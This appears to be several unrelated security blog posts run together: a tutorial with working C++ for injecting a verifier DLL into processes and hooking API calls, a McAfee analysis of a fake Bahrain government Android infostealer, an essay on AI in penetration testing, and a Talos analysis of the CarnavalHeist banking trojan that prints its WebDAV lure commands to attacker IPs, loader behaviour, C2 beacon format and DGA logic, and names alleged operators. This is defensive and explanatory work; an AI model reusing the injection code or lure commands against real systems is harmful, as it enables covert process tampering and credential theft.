The Application Verifier tool that is part of the Windows SDK provide a way to analyze processes for various types of misbehavior. The GUI provided looks like the following:

Application Verifier application window

To add an application, you can browse your file system and select an executable. The Application Verifier settings are based around the executable name only – not a full path. This is because verifier settings are stored in a subkey under Image File Execution Options with the name of the executable. For the notepad example above, you’ll find the following in the Registry:

Key for notepad.exe under the IFEO subkey

This IFEO subkey is used for NT Global Flags settings, one of which is using the Application Verifier. The GlobalFlag value is shown to be 0x100, which is the bit used for the verifier. Another way to set it without any extra information is using the GFlags tool, part of the Debugging Tools for Windows package:

GFlags tool

The Application Verifier lists a bunch of DLLs under the VerifierDLLs value. Each one must be located in the system directory (e.g., c:\Windows\System32). Full paths are not supported; this is intentional, because the list of DLLs are going to be loaded to any process running the specified executable, and it would be risky to load DLLs from arbitrary locations in the file system. The system directory, as well as the IFEO key are normally write-accessible by administrators only.

The list of verifier DLLs is selected based on the set of tests selected by the user on the right hand side of the GUI. You’ll find subkeys that are used by the system-provided verifier DLLs with more settings related to the tests selected.

The nice thing about any verifier DLL specified, is that these DLLs are loaded early in the process lifetime, by verifier.dll (in itself loaded by NTDLL.dll), before any other DLLs are loaded into the process. Even attaching a debugger to the process while launching it would “miss” the loading of these DLLs.

This behavior makes this technique attractive for injecting a DLL into arbitrary processes. It’s even possible to enable Application Verifier globally and even dynamically (without the need to restart the system), so that these DLLs are injected into all processes (except protected processes).

Writing a Verifier DLL

Application Verifier tests descriptions is not the focus of this post. Rather, we’ll look into what it takes to create such a DLL that can be injected early and automatically into processes of our choice. As we’ll see, it’s not just about mere injection. The verifier infrastructure (part of verifier.dll) provides convenient facilities to hook functions.

If we create a standard DLL, set up the verifier entries while adding our DLL to the list of verifier DLLs (possibly removing the “standard” ones), and try to run our target executable (say, notepad), we get the following nasty message box:

The process shuts down, which means that if a verifier DLL fails to be properly processed, the process terminates rather than “skipping” the DLL.

Launching notepad with WinDbg spits the following output:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0x10CEC: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0x10CEC: flags 0x81643027: application verifier enabled
ModLoad: 00007ffc`cabd0000 00007ffc`cad6f000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
AVRF: provider MyVerify.dll did not initialize correctly

Clearly the DLL did not initialize correctly, which is what the NTSTATUS 0xc0000142 was trying to tell us in the message box.

DLLs are initialized with the DllMain function that typically looks like this:

BOOL WINAPI DllMain(HMODULE hModule, DWORD reason, PVOID lpReserved) {
	switch (reason) {
		case DLL_PROCESS_ATTACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

The classic four values shown are used by the DLL to run code when it’s loaded into a process (DLL_PROCESS_ATTACH), unloaded from a process (DLL_PROCESS_DETACH), a thread is created in the process (DLL_THREAD_ATTACH), and thread is exiting in the process (DLL_THREAD_DETACH). It turns out that there is a fifth value, which must be used with verifiier DLLs:

#define DLL_PROCESS_VERIFIER 4

Returning TRUE from such a case is not nearly enough. Instead, a structure expected by the caller of DllMain must be initialized and its address provided in lpReserved. The following structures and callback type definitions are needed:

typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR {
	PCHAR ThunkName;
	PVOID ThunkOldAddress;
	PVOID ThunkNewAddress;
} RTL_VERIFIER_THUNK_DESCRIPTOR, *PRTL_VERIFIER_THUNK_DESCRIPTOR;

typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR {
	PWCHAR DllName;
	ULONG DllFlags;
	PVOID DllAddress;
	PRTL_VERIFIER_THUNK_DESCRIPTOR DllThunks;
} RTL_VERIFIER_DLL_DESCRIPTOR, *PRTL_VERIFIER_DLL_DESCRIPTOR;

typedef void (NTAPI* RTL_VERIFIER_DLL_LOAD_CALLBACK) (
	PWSTR DllName,
	PVOID DllBase,
	SIZE_T DllSize,
	PVOID Reserved);
typedef void (NTAPI* RTL_VERIFIER_DLL_UNLOAD_CALLBACK) (
	PWSTR DllName,
	PVOID DllBase,
	SIZE_T DllSize,
	PVOID Reserved);
typedef void (NTAPI* RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK) (
	PVOID AllocationBase,
	SIZE_T AllocationSize);

typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR {
	ULONG Length;
	PRTL_VERIFIER_DLL_DESCRIPTOR ProviderDlls;
	RTL_VERIFIER_DLL_LOAD_CALLBACK ProviderDllLoadCallback;
	RTL_VERIFIER_DLL_UNLOAD_CALLBACK ProviderDllUnloadCallback;

	PWSTR VerifierImage;
	ULONG VerifierFlags;
	ULONG VerifierDebug;

	PVOID RtlpGetStackTraceAddress;
	PVOID RtlpDebugPageHeapCreate;
	PVOID RtlpDebugPageHeapDestroy;

	RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK ProviderNtdllHeapFreeCallback;
} RTL_VERIFIER_PROVIDER_DESCRIPTOR;

That’s quite a list. The main structure is RTL_VERIFIER_PROVIDER_DESCRIPTOR
that has a pointer to an array of RTL_VERIFIER_DLL_DESCRIPTOR
(the last element in the array must end with all zeros), which in itself points to an array of RTL_VERIFIER_THUNK_DESCRIPTOR
, used for specifying functions to hook. There are a few callbacks as well. At a minimum, we can define this descriptor like so (no hooking, no special code in callbacks):

RTL_VERIFIER_DLL_DESCRIPTOR noHooks{};

RTL_VERIFIER_PROVIDER_DESCRIPTOR desc = {
	sizeof(desc),
	&noHooks,
	[](auto, auto, auto, auto) {},
	[](auto, auto, auto, auto) {},
	nullptr, 0, 0,
	nullptr, nullptr, nullptr,
	[](auto, auto) {},
};

We can define these simply as global variables and return the address of desc in the handling of DLL_PROCESS_VERIFIER:

case DLL_PROCESS_VERIFIER:
	*(PVOID*)lpReserved = &desc;
	break;

With this code in place, we can try launching notepad again (after copying MyVerify.Dll to the System32 directory). Here is the output from WinDbg:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0xB30C: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0xB30C: flags 0x81643027: application verifier enabled
ModLoad: 00007ffd`25b50000 00007ffd`25cf1000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ffd`963e0000 00007ffd`9640b000   C:\Windows\System32\GDI32.dll
ModLoad: 00007ffd`95790000 00007ffd`957b2000   C:\Windows\System32\win32u.dll
ModLoad: 00007ffd`95090000 00007ffd`951a7000   C:\Windows\System32\gdi32full.dll
...

This time it works. MyVerify.dll loads right after verifier.dll (which is the one managing verify DLLs).

Hooking Functions

As mentioned before, we can use the verifier engine’s support for hooking functions in arbitrary DLLs. Let’s give this a try by hooking into a couple of functions, GetMessage and CreateFile. First, we need to set up the structures for the hooks on a per-DLL basis:

RTL_VERIFIER_THUNK_DESCRIPTOR user32Hooks[] = {
	{ (PCHAR)"GetMessageW", nullptr, HookGetMessage },
	{ nullptr, nullptr, nullptr },
};

RTL_VERIFIER_THUNK_DESCRIPTOR kernelbaseHooks[] = {
	{ (PCHAR)"CreateFileW", nullptr, HookCreateFile },
	{ nullptr, nullptr, nullptr },
};

The second NULL in each triple is where the original address of the hooked function is stored by the verifier engine. Now we fill the structure with the list of DLLs, pointing to the hook arrays:

RTL_VERIFIER_DLL_DESCRIPTOR dlls[] = {
	{ (PWCHAR)L"user32.dll", 0, nullptr, user32Hooks },
	{ (PWCHAR)L"kernelbase.dll", 0, nullptr, kernelbaseHooks },
	{ nullptr, 0, nullptr, nullptr },
};

Finally, we update the main structure with the dlls array:

RTL_VERIFIER_PROVIDER_DESCRIPTOR desc = {
	sizeof(desc),
	dlls,
	[](auto, auto, auto, auto) {},
	[](auto, auto, auto, auto) {},
	nullptr, 0, 0,
	nullptr, nullptr, nullptr,
	[](auto, auto) {},
};

The last thing is to actually implement the hooks:

BOOL WINAPI HookGetMessage(PMSG msg, HWND hWnd, UINT filterMin, UINT filterMax) {
	// get original function
	static const auto orgGetMessage = (decltype(::GetMessageW)*)user32Hooks[0].ThunkOldAddress;
	auto result = orgGetMessage(msg, hWnd, filterMin, filterMax);
	char text[128];
	sprintf_s(text, "Received message 0x%X for hWnd 0x%p\n", msg->message, msg->hwnd);
	OutputDebugStringA(text);
	return result;
}

HANDLE WINAPI HookCreateFile(PCWSTR path, DWORD access, DWORD share, LPSECURITY_ATTRIBUTES sa, DWORD cd, DWORD flags, HANDLE hTemplate) {
	// get original function
	static const auto orgCreateFile = (decltype(::CreateFileW)*)kernelbaseHooks[0].ThunkOldAddress;
	auto hFile = orgCreateFile(path, access, share, sa, cd, flags, hTemplate);
	char text[512];
	if (hFile == INVALID_HANDLE_VALUE)
		sprintf_s(text, "Failed to open file %ws (%u)\n", path, ::GetLastError());
	else
		sprintf_s(text, "Opened file %ws successfuly (0x%p)\n", path, hFile);

	OutputDebugStringA(text);
	return hFile;
}

The hooks just send some output with OutputDebugString. Here is an excerpt output when running notepad under a debugger:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0xEF18: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0xEF18: flags 0x81643027: application verifier enabled
ModLoad: 00007ffd`25b80000 00007ffd`25d24000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ffd`963e0000 00007ffd`9640b000   C:\Windows\System32\GDI32.dll
ModLoad: 00007ffd`95790000 00007ffd`957b2000   C:\Windows\System32\win32u.dll
ModLoad: 00007ffd`95090000 00007ffd`951a7000   C:\Windows\System32\gdi32full.dll
...
ModLoad: 00007ffd`964f0000 00007ffd`965bd000   C:\Windows\System32\OLEAUT32.dll
ModLoad: 00007ffd`96d10000 00007ffd`96d65000   C:\Windows\System32\shlwapi.dll
ModLoad: 00007ffd`965d0000 00007ffd`966e4000   C:\Windows\System32\MSCTF.dll
Opened file C:\Windows\Fonts\staticcache.dat successfuly (0x0000000000000164)
ModLoad: 00007ffd`7eac0000 00007ffd`7eb6c000   C:\Windows\System32\TextShaping.dll
ModLoad: 00007ffc`ed750000 00007ffc`ed82e000   C:\Windows\System32\efswrt.dll
ModLoad: 00007ffd`90880000 00007ffd`909d7000   C:\Windows\SYSTEM32\wintypes.dll
ModLoad: 00007ffd`8bf90000 00007ffd`8bfad000   C:\Windows\System32\MPR.dll
ModLoad: 00007ffd`8cae0000 00007ffd`8cce3000   C:\Windows\System32\twinapi.appcore.dll
Opened file C:\Windows\Registration\R000000000025.clb successfuly (0x00000000000001C4)
ModLoad: 00007ffd`823b0000 00007ffd`82416000   C:\Windows\System32\oleacc.dll
...
eceived message 0x31F for hWnd 0x00000000001F1776
Received message 0xC17C for hWnd 0x00000000001F1776
Received message 0xF for hWnd 0x00000000001F1776
Received message 0xF for hWnd 0x00000000003010C0
Received message 0xF for hWnd 0x0000000000182E7A
Received message 0x113 for hWnd 0x00000000003319A8
...
ModLoad: 00007ffd`80e20000 00007ffd`80fd4000   C:\Windows\System32\WindowsCodecs.dll
ModLoad: 00007ffd`94ee0000 00007ffd`94f04000   C:\Windows\System32\profapi.dll
Opened file C:\Users\Pavel\AppData\Local\IconCache.db successfuly (0x0000000000000724)
ModLoad: 00007ffd`3e190000 00007ffd`3e1f6000   C:\Windows\System32\thumbcache.dll
Opened file C:\Users\Pavel\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db successfuly (0x0000000000000450)
Opened file C:\Users\Pavel\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db successfuly (0x000000000000065C)
ModLoad: 00007ffd`90280000 00007ffd`90321000   C:\Windows\SYSTEM32\policymanager.dll

This application verifier technique is an interesting one, and fairly easy to use. The full example can be found at https://github.com/zodiacon/VerifierDLL.

Happy verifying!

Authored by Dexter Shin

Many government agencies provide their services online for the convenience of their citizens. Also, if this service could be provided through a mobile app, it would be very convenient and accessible. But what happens when malware pretends to be these services?

McAfee Mobile Research Team found an InfoStealer Android malware pretending to be a government agency service in Bahrain. This malware pretends to be the official app of Bahrain and advertises that users can renew or apply for driver’s licenses, visas, and ID cards on mobile. Users who are deceived by advertisements that they are available on mobile will be provided with the necessary personal information for these services without a doubt. They reach users in various ways, including Facebook and SMS messages. Users who are not familiar with these attacks easily make the mistake of sending personal information.

Detailed pretended app

In Bahrain, there’s a government agency called the Labour Market Regulatory Authority (LMRA). This agency operates with full financial and administrative independence under the guidance of a board of directors chaired by the Minister of Labour. They provide a variety of mobile services, and most apps provide only one service per app. However, this fake app promotes providing more than one service.

Figure 1. Legitimate official LMRA website

Figure 2. Fake app named LMRA

Excluding the most frequently found fake apps pretending LMRA, there are various fake apps included Bank of Bahrain and Kuwait (BBK), BenefitPay, a fintech company in Bahrain, and even apps pretending to be related to Bitcoin or loans. These apps use the same techniques as the LMRA fake apps to steal personal information.

Figure 3. Various fake apps using the same techniques

From the type of app that this malware pretends, we can guess that the purpose is financial fraud to use the personal information it has stolen. Moreover, someone has been affected by this campaign as shown in the picture below.

Figure 4. Victims of financial fraud (Source: Reddit)

Distribution method

They distribute these apps using Facebook pages and SMS messages. Facebook pages are fake and malware author is constantly creating new pages. These pages direct users to phishing sites, either WordPress blog sites or custom sites designed to download apps.

Figure 5. Facebook profile and page with a link to the phishing site

Figure 6. One of the phishing sites designed to download app

In the case of SMS, social engineering messages are sent to trick users into clicking a link so that they feel the need to urgently confirm.

Figure 7. Phishing message using SMS (Source: Reddit)

What they want

When the user launches the app, the app shows a large legitimate icon for users to be mistaken. And it asks for the CPR and phone number. The CPR number is an exclusive 9-digit identifier given to each resident in Bahrain. There is a “Verify” button, but it is simply a button to send information to the C2 server. If users input their information, it goes directly to the next screen without verification. This step just stores the information for the next step.

Figure 8. The first screen (left) and next screen of a fake app (right)

There are various menus, but they are all linked to the same URL. The parameter value is the CPR and phone numbers input by the user on the first screen.

Figure 9. All menus are linked to the same URL

The last page asks for the user’s full name, email, and date of birth. After inputting everything and clicking the “Send” button, all information inputted so far will be sent to the malware author’s c2 server.

Figure 10. All data sent to C2 server

After sending, it shows a completion page to trick the user. It shows a message saying you will receive an email within 24 hours. But it is just a counter that decreases automatically. So, it does nothing after 24 hours. In other words, while users are waiting for the confirmation email for 24 hours, cybercriminals will exploit the stolen information to steal victims’ financial assets.

Figure 11. Completion page to trick users

In addition, they have a payload for stealing SMS. This app has a receiver that works when SMS is received. So as soon as SMS comes, it sends an SMS message to the C2 server without notifying the user.

Figure 12. Payload for stealing SMS

Dynamic loading of phishing sites via Firebase

We confirmed that there are two types of these apps. There is a type that implements a custom C2 server and receives data directly through web API, and another type is an app that uses Firebase. Firebase is a backend service platform provided by Google. Among many services, Firestore can store data as a database. This malware uses Firestore. Because it is a legitimate service provided by Google, it is difficult to detect as a malicious URL.

For apps that use Firebase, dynamically load phishing URLs stored in Firestore. Therefore, even if a phishing site is blocked, it is possible to respond quickly to maintain already installed victims by changing the URL stored in Firestore.

Figure 13. Dynamically loading phishing site loaded in webview

Conclusion

According to our detection telemetry data, there are 62 users have already used this app in Bahrain. However, since this data is a number at the time of writing, this number is expected to continue to increase, considering that new Facebook pages are still being actively created.

Recent malware tends to target specific countries or users rather than widespread attacks. These attacks may be difficult for general users to distinguish because malware accurately uses the parts needed by users living in a specific country. So we recommend users install secure software to protect their devices. Also, users are encouraged to download and use apps from official app stores like Google Play Store or Apple AppStore. If you can’t find an app in these stores, you must download the app provided on the official website.

McAfee Mobile Security already detects this threat as Android/InfoStealer. For more information, visit McAfee Mobile Security.

Indicators of Compromise (IOCs)

Samples:

Domains:

• https[://]lmraa.com
• https[://]lmjbfv.site
• https[://]dbjiud.site
• https[://]a.jobshuntt.com
• https[://]shop.wecarerelief.ca

Firebase(for C2):

• https[://]npra-5.firebaseio.com
• https[://]lmra9-38b17.firebaseio.com
• https[://]practice-8e048.firebaseio.com

The post Fake Bahrain Government Android App Steals Personal Data Used for Financial Fraud appeared first on McAfee Blog.

The post Hacking the Future: 12 Years at Exodus and the Next Big Leap appeared first on Exodus Intelligence.

Written by: Steven van der Baan

In the ever-evolving landscape of cybersecurity, the integration of artificial intelligence (AI) has revolutionized various aspects of threat detection, prevention, and mitigation. Web penetration testing, a crucial component of ensuring the security posture of digital assets, has seen significant advancements through AI-powered tools. While AI undoubtedly offers numerous benefits in this domain, it’s essential to recognize that it cannot entirely replace human expertise and intuition. In this article, we explore the reasons why AI will not fully replace humans for web penetration testing.

AI excels in handling immense data volumes while recognizing patterns. However, it typically lacks the contextual understanding that human testers possess. Web applications function within specific business contexts, and vulnerabilities may manifest differently based on various factors such as industry, user behaviour, and regulatory requirements. Human testers can interpret these nuances and prioritize findings based on their potential impact on the organization’s objectives.

One of the fundamental challenges in cybersecurity is staying ahead of adversaries who continually innovate and devise new attack techniques. Although AI algorithms can detect known vulnerabilities efficiently, they may struggle to adapt to novel attack vectors or zero-day exploits. Human penetration testers bring creativity to the table, utilizing their experience and intuition to think like attackers and uncover unexpected vulnerabilities that automated tools might miss.

Certain categories of vulnerabilities, such as logical flaws or business logic errors, often require human intervention to identify accurately. These vulnerabilities may not be easily detectable through automated scanning alone, as they involve understanding the underlying logic of the application and its intended functionality. Human testers can replicate real-world scenarios and apply sophisticated techniques to uncover subtle security weaknesses that AI might overlook.

AI-powered tools for web penetration testing are prone to generating false positives (incorrectly identifying vulnerabilities that do not exist) and false negatives (overlooking actual vulnerabilities). Although advancements in machine learning have improved accuracy, eliminating both false positives and false negatives remains a significant challenge. Human testers play an essential role in validating automated findings, minimizing false alarms, and providing valuable insights into the context of each vulnerability.

The ethical and legal implications of automated penetration testing must be carefully considered. AI-powered tools may generate substantial volumes of traffic and potentially disrupt web applications, leading to unintended consequences or violations of terms of service. Furthermore, utilizing automated tools without proper authorization can result in legal repercussions. Human testers exercise judgment, ensuring that tests are conducted responsibly, with appropriate permissions and adherence to ethical guidelines.

While AI has revolutionized web penetration testing by automating routine tasks, detecting known vulnerabilities, and enhancing efficiency, it cannot replace the critical thinking, intuition, and creativity of human testers. The synergy between AI and human expertise is essential for conducting comprehensive and effective security assessments. By leveraging the strengths of both AI-powered tools and human testers, organizations can achieve a more robust and adaptive approach to web application security.

• Since February 2024, Cisco Talos has been observing an active campaign targeting Brazilian users with a new banking trojan called “CarnavalHeist.” Many of the observed tactics, techniques and procedures (TTPs) are common among other banking trojans coming out of Brazil. This family has also been referenced as AllaSenha in a recent report. 
• Talos attributes with high confidence the development and operation of CarnavalHeist to Brazilian actors who could be identified because of some operational mistakes made during the domain registration process for their payload-hosting sites. 
• The current campaign uses financial-related themes in spam emails, Delphi-based DLLs, overlay attack methods, and usual input capture techniques, such as keylogging and screen capture. There are also names of traditional Brazilian banks hardcoded in the malware.  
• Unique to CarnavalHeist, however, is the dynamic use of a Python-based loader as part of the DLL injection process and the specific targeting of banking desktop applications to enable tracking of other Brazilian financial institutions. 

CarnavalHeist has Brazilian origins 

Talos assesses with high confidence that the CarnavalHeist malware is of Brazilian origin and primarily targets Brazilian users based on our observations of the Portuguese language being used throughout all aspects of the infection chain and the malware itself, including the use of Brazilian slang to describe some bank names, and a notable lack of other language variants thus far. The command and control (C2) infrastructure exclusively uses the BrazilSouth availability zone on Microsoft Azure to control infected machines, and they specifically target prominent Brazilian financial institutions.  

We further assess that the current wave of activity has been ongoing since the beginning of February based on the volume and timeline of observable C2 domain activity, although we have observed related samples and variants that were uploaded to VirusTotal in November and December 2023, indicating that the malware has been in development since at least late 2023. As of May 2024, CarnavalHeist is still active, and our analysis remains ongoing as we continue to identify new samples. 

Financial-themed spam as initial execution method 

CarnavalHeist infection begins with a financially themed unsolicited email using a fake invoice as a lure to get the user to open a malicious URL. 

The malicious link uses the IS.GD URL shortener service to redirect users to the first-stage payload. The URL usually looks similar to some of these examples: 

• https://is[.]gd/38qeon?0177551.5510 
• https://is[.]gd/ROnj3W?0808482.5176 
• https://is[.]gd/a4dpQP?000324780473.85375532000 

This URL redirects the user to the server hosting the fake web page where the users are supposed to download their invoice. We have observed different domains being used in this step, but all contain references to “Nota Fiscal Eletrônica,” the Portuguese term for invoice. 

Some of the domains we observed being used to host these pages are: 

• https://notafiscaleletronica[.]nf-e[.]pro/danfe/?notafiscal=00510242.500611 
• https://nota-fiscal[.]nfe-digital[.]top/nota-estadual/?notafiscal=00792011.977347 
• https://nfe-visualizer[.]app[.]br/notas/?notafiscal=000851113082.35493424000 

The download target is the final link in this step, and it uses WebDAV to download the next-stage payload: 

• search:query=NotaFiscal.pdf&crumb=location:\\4[.]203[.]105[.]118@80\Documentos&displayname=Downloads 
• search:query=NotaFiscal.pdf&crumb=location:\\191[.]233[.]248[.]170@80\Documentos&displayname=Downloads 

This command ends up downloading a LNK file, which then executes the next stage of the infection. The LNK file’s metadata illustrates a common method threat actors use to execute malicious scripts and commands. 

The command above attempts to hide the malicious execution from the unsuspecting user. First, the text “Visualizacao indisponivel” (Portuguese for “view unavailable”) is written to a file, “NotaFiscal.pdf,” to the user’s Downloads directory. The PDF is then opened for viewing, meant to fool the user into thinking an actual PDF was downloaded, while another cmd.exe process is started minimized, and the malicious component is run.  

We have also observed multiple MSI installer-based variants, whereby the MSI file replaces the role of the LNK file and subsequent batch file, picking up in the execution chain with a variant of the first-stage Python script. In many of the earlier variants, the actor’s Python scripts were less refined and used lower-level C-types and a more obvious invocation of “windll.kernel32” directly in the Python script to dynamically load downstream malicious DLLs, rather than through the more obfuscated tool offered through the “pythonmemorymodule” package seen in the execution chain of the newer samples.  

Identifying the actors behind CarnavalHeist 

Our analysis of the different samples for CarnavalHeist have exposed the user account used on the system where some of the samples were compiled, in addition to a GitHub account referenced in the MSI variants that appears to have been hosting the loader and banking trojan payloads at one point.  

In examining the final payload, an assert statement within the code was flagged by the compiler and project metadata was exposed as a result. The assert we observed exposed the directory path “C:\Users\bert1m\Desktop\Meu Drive”, with “bert1m” being the active username during the payload’s compilation. The MSI variant also refers to a GitHub account “marianaxx0492494,” which was being used as a remote host for the files: 

• github[.]com/marianaxx0492494/update/raw/main/setup.msi 
• github[.]com/marianaxx0492494/update/raw/main/Execute_dll.zip 

These were presumably a copy of the MSI variant itself as well a version of the loader DLL. However, at the time of our investigation, this user account had already been removed from GitHub, and we could not find verified samples of the files at those URLs. 

While this evidence by itself is not enough to identify specific actors, we found additional evidence of the actors’ identity behind the development and operation of this malware campaign. While examining the WHOIS information for one of the domains hosting the initial infection, we noticed it exposed the full name and email address of the person registering the domain.  

We can see the username in their email is similar to the username used in the project path we have observed inside the binary. Another important piece of information in this registry is the `ownerid`, which contains the CPF (“Cadastro de Pessoa Física” or “Natural Person Registry”) of the person. The CPF works as a national ID in Brazil.  

By searching for this person name, we found a reference to a company where they were a partner, which lists part of their CPF above: 

We also found previous companies they owned in the Brazilian state of Maranhão: 

Another domain used to host the initial payload is also registered in Brazil and again exposes information about the owner. 

For this person it was easier to find more information based on their CPF, as they have criminal records, according to the Brazilian judiciary service. 

Based on this information, Talos assess with high confidence these two actors are behind the development and operation of the campaign distributing CarnavalHeist affecting Brazilian victims. 

Analysis of batch file “a3.cmd” and Python loader 

The file “a3.cmd” is a Windows batch file with a several layers of simple encoding and obfuscation that serves as a wrapper for installing Python on the target environment and subsequently executing a Python script that handles injecting the second-stage payload DLL.  

This first layer is decoded to another shell script which downloads a Python interpreter from the official Python FTP server and installs to a malware-created folder. 

After using the downloaded Python interpreter, the batch file executes an embedded base64-encoded Python script. Decoding the base64 string embedded in the Python command reveals the final component of the cascading commands to be a loader for injecting a malicious DLL.  

The script checks the processor architecture from the registry key `HARDWARE\DESCRIPTION\System\CentralProcessor\0` and bails out if the processor name value is “Broadwell.” It then uses the function `lk()` as a domain generation algorithm (DGA) to generate a fully qualified domain (FQDN) under the BrazilSouth region in Azure, which will be used to download the malicious DLL from. We explain the process by which this domain is generated in a section below. 

Once the correct FQDN has been generated, a TCP connection is opened. The script sends a UTF-8-encoded packet to the actor’s Azure server in the format below, where the victim’s hostname, Windows version name and processor architecture name are all passed as identifying markers: 

`pyCodeV1 - *NEW* {ss.gethostname()} | {Windows Product Name} | {Processor Architecture Name}` 

The server then sends a response back with a byte stream containing a DLL payload named “executor.dll,” a second-stage Python script that will load the DLL and additional Python modules used to load the DLL. This data object is then reserialized within the parent Python script and executed as the next stage through Python’s `exec()` command. 

Using CodePy for dynamic DLL execution 

The byte stream contains a handful of components that are passed to the `exec()` command to set up the downstream execution logic. On execution, CodePy first saves a copy of the previous Python script to the user’s public directory as “ps.txt”.

Next, the script unpacks the “executor.dll” PE file and loads the resulting bytes buffer of the DLL dynamically into memory through pythonmemorymodule’s `MemoryModule` class. Finally, the function entry point `Force` is called from `executor.dll` through the MemoryModule class function `get_proc_addr`. On execution, `Force` generates an up to 19-character randomized string using a similar character key string, as seen in the DGA function in the Python script.  

It then selects a random directory from the system’s default user profile of the typical standard Windows folders. The injector then checks if the system is running a 32- or 64-bit operating system and copies “mshta.exe” from the proper 32-bit folder to the selected user folder, renamed with a random character string and an .exe extension.  

Finally, the embedded payload, a UPX-packed banking trojan, is then extracted from a resource within executor.dll marked as “RcDLL”. It is another Delphi-based DLL, named "Access_PC_Client.dll" in many of the observed samples. The payload bytes are then written to a memory stream and injected into a spawned “mshta.exe” process.  

Final payload: Banking trojan DLL 

CarnavalHeist will attempt to steal the victim’s credentials for a variety of Brazilian financial institutions. This is accomplished through overlay attack methodologies, whereby an actor presents an overlaid window on top of the expected legitimate application or service.  

Like other Brazilian banking trojans, the malware monitors window title strings for specific word and pattern matches. When a window title matches, the malware sets the window to invisible and replaces it with a bundled overlay image for the given organization. At the same time, a timer will attempt to open a new socket connection to an actor controlled C2 using another DGA function to create a separate. This DGA is distinct from the one used by the Python loader script, although this DGA also uses a server hosted on the BrazilSouth resource region on Azure.  

CarnavalHeist possesses numerous capture capabilities, commonly associated with banking trojans, which are either executed automatically once a matched bank is detected, or by receiving a command from the C2.  

The protocol is a customized version of a publicly available code for a Delphi Remote Access Client, which is the same protocol used by other banker families like Mekotio and Casbaneiro in the past. Luckily, these commands are not obfuscated and are exposed in the binary code. There is a single function processing all input from C2, and it translates to a series of IF/THEN structures for each command: 

The code supports approximately 80 commands from the C2, including keyboard capture, screenshots, video capture and remote control. They also enable the attacker to trigger specific overlay attacks to steal the login information for the banking institutions while the user interacts with the fake login screens.  

These commands sent from the C2 and responses from the malware are all sent unencrypted through a TCP connection on a random port. The commands and responses are usually enclosed in the tags shown in the code. One example of this is how the malware answers when the C2 responds to the initial connection attempt: 

`<|Info|>BANK_NAME<|>Windows 10 Enterprise<|>DESKTOP-XXXXXXX<|>Intel(R) Xeon(R) W-2295 CPU @ 3.00GHz<|><<|` 

There are also functions present in the binary that deal with remote control capabilities using AnyDesk remote desktop, which allows the attacker to interact with the user machine during a banking session. Some of the commands accept additional parameters like an IP/Port to be used for the video connection or the keyboard/clipboard interaction in case of remote access. 

CarnavalHeist can also capture and create QR codes on demand, which is used by many banks to allow users to log in and execute transactions. This enables the attacker to redirect transactions to accounts they control instead of the intended accounts the user intended. 

Capturing mouse and keyboard events and their key translations would expose PINs and other similar tokens for these banks, while potentially being able to “pass through” the sign out to the legitimate service underneath the overlay, much like a skimmer on a credit card or ATM keypad. 

CarnavalHeist C2 protocol and DGA analysis 

CarnavalHeist uses different algorithms to generate the subdomains it uses to download payloads and communicate with its C2 servers. These subdomains are all hosted under the BrazilSouth availability zone in Azure at “{dga}[.]brazilsouth[.]cloudapp[.]azure[.]com”.  

The DGA that generates the correct subdomains is contained within a function named `lk()` in the Python script.  

It first gets the current date and weekday values from the Python datetime module and adds their values together to generate an integer value. This value is used as an index to retrieve a character out of the hardcoded string `{abcdefghijlmnopqrstuvxzwkyjlmnopqabcghjl}`.  

Five possible subdomain string choices are then generated and hashed by the SHA1 algorithm, followed by more string manipulation until it is returned. A random entry from this list is then selected to generate the final FQDN. 

Then, a random TCP port is generated by the function `ptV5()` following a similar algorithm using the dates as a seed, and these parameters are passed to the `connect()` Python function.  

The algorithm used by the malicious DLL to generate the subdomain used for C2 communication is also based on the current date and time but adds additional seeds depending on which banks are currently being accessed by the victim, which could be either through a web browser or a custom banking desktop application used by some banks in Brazil. These seed values are single-hex bytes associated with each bank: 

• Target bank 1: 0x55 
• Secondary targeted banks: 0x56 
• All other financial institutions: 0x57 

The DGA will then select a starting letter for the subdomain based on an array of non-ordered alpha characters like in the Python script. It then uses the integer representations of the current day of the week, month and year, as well as the current month and week of the year, to generate separate additional parts of the subdomain string through several arithmetic operations.  

CarnavalHeist has likely been in active development since at least November of 2023, while significant in-the-wild activity first began in February 2024. Based on the information we had about the DGA domains and activities performed by the Python script, Talos discovered samples in VirusTotal and Talos telemetry dating back to November 2023. 

